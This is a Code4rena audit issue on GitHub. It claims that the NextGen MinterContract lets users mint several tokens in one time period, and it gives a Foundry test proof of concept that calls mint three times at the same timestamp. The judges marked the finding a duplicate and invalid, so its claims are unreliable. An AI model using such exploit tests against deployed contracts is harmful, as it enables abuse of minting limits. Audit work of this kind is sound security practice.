Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Possible to mint two auction tokens in a row #605

Closed
c4-submissions opened this issue Nov 8, 2023 · 3 comments
Closed

Possible to mint two auction tokens in a row #605

c4-submissions opened this issue Nov 8, 2023 · 3 comments
Labels
3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working duplicate-688 unsatisfactory does not satisfy C4 submission criteria; not eligible for awards

Comments

@c4-submissions
Copy link
Contributor

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/MinterContract.sol#L276-L298

Vulnerability details

Impact

Calling mintAndAuction or mint gives opportunity to mint one token per timePeriod. But current implementation gives possibility to mint two token in single period or even worse in a single transaction.

This behavior incorrect, and doesn't work as intended.

Proof of Concept

Let's consider next case:

  • Someone wants to mint tokens;
  • Collection empty, so lastMintDate[col] = 0;
  • Now time is allowlistStartTime + timePeriod * 2;
  • In first message user call mint, which mints 1 NFT, and to lastMintDate:
lastMintDate[col] = collectionPhases[col].allowlistStartTime + (collectionPhases[col].timePeriod * (gencore.viewCirSupply(col) - 1))

will be written allowlistStartTime;

  • In next message (but the same same block) calling mint once again, tDiff: uint tDiff = (block.timestamp - timeOfLastMint) / collectionPhases[col].timePeriod; will be 2, and this gives opportunity to mint another one token.

Let's consider next test:

pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import "../src/Counter.sol";
import "../src/AuctionDemo.sol";
import "../src/ERC721.sol";
import "../src/NextGenCore.sol";
import "../src/MinterContract.sol";
import "../src/NextGenAdmins.sol";
import "../src/RandomizerNXT.sol";
import "../src/XRandoms.sol";


contract MinterTest is Test {

    auctionDemo private auction;

    NextGenMinterContract private minter;
    NextGenCore private gencore;
    NextGenAdmins private adminContract;
    NextGenRandomizerNXT private randomizer;

    address private alice = makeAddr("alice");
    address private bob = makeAddr("bob");
    address private artist = makeAddr("artist");
    address private owner = makeAddr("owner");


    function setUp() public {
        vm.startPrank(owner);
        adminContract = new NextGenAdmins();
        gencore = new NextGenCore("N", "S", address(adminContract));
        minter = new NextGenMinterContract(address(gencore), address(0), address(adminContract));
        gencore.addMinterContract(address(minter));
        randomizer = new NextGenRandomizerNXT(address(new randomPool()), address(adminContract), address(gencore));
    }

    function testTwoTransactionInRow() public {
        vm.startPrank(owner);
        string[] memory strs = new string[](0);
        gencore.createCollection("N", "art", "DESCR", "WWW", "LC", "URI", "LIB", strs);
        gencore.setCollectionData(1, bob, 100, 100, 1000);
        gencore.addRandomizer(1, address(randomizer));

        vm.startPrank(bob);
        gencore.artistSignature(1, "sig");

        vm.startPrank(owner);
        // timePeriod here is 10!
        minter.setCollectionCosts(1, 10, 50, 2, 10, 3, address(0));
        minter.setCollectionPhases(1, 100, 110, 111, 400, bytes32(0));

        // set time = allowStartTime + 2*timePeriod
        vm.warp(120);

        vm.startPrank(alice);
        vm.deal(alice, 100500);
        bytes32[] memory proof = new bytes32[](0);
        // time is 120
        minter.mint{value: 500}(1, 1, 0, "data", alice, proof, address(0), 0);
        // time still is 120
        minter.mint{value: 500}(1, 1, 0, "data", alice, proof, address(0), 0);
        // time still is 120
        minter.mint{value: 500}(1, 1, 0, "data", alice, proof, address(0), 0);

        // will be reverted
        vm.expectRevert(bytes("1 mint/period"));
        minter.mint{value: 500}(1, 1, 0, "data", alice, proof, address(0), 0);
    }
}

Here we got possibility to mint thee NFT in a row.

Tools Used

Manual review, Foundry

Recommended Mitigation Steps

lastMintDate should be block.timestamp instead of last period calculation.

Assessed type

Timing

@c4-submissions c4-submissions added 3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working labels Nov 8, 2023
c4-submissions added a commit that referenced this issue Nov 8, 2023
@c4-pre-sort
Copy link

141345 marked the issue as duplicate of #688

@c4-judge
Copy link

c4-judge commented Dec 6, 2023

alex-ppg marked the issue as unsatisfactory:
Invalid

@c4-judge c4-judge added the unsatisfactory does not satisfy C4 submission criteria; not eligible for awards label Dec 6, 2023
@c4-judge
Copy link

c4-judge commented Dec 9, 2023

alex-ppg marked the issue as unsatisfactory:
Invalid

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working duplicate-688 unsatisfactory does not satisfy C4 submission criteria; not eligible for awards
Projects
None yet
Development

No branches or pull requests

3 participants